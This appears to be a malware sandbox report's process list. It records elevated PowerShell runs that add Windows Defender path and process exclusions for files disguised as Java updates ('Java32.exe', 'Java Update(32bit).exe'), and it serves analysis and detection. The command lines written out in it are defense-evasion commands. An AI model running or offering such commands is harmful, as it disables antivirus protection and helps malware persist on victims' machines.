Target ID:	2
Start time:	03:45:00
Start date:	02/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Java32.exe'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	03:45:00
Start date:	02/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	03:45:08
Start date:	02/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Java32.exe'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	03:45:08
Start date:	02/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	03:45:19
Start date:	02/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\Java Update(32bit).exe'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	9
Start time:	03:45:19
Start date:	02/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	10
Start time:	03:45:35
Start date:	02/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Java Update(32bit).exe'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	11
Start time:	03:45:35
Start date:	02/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true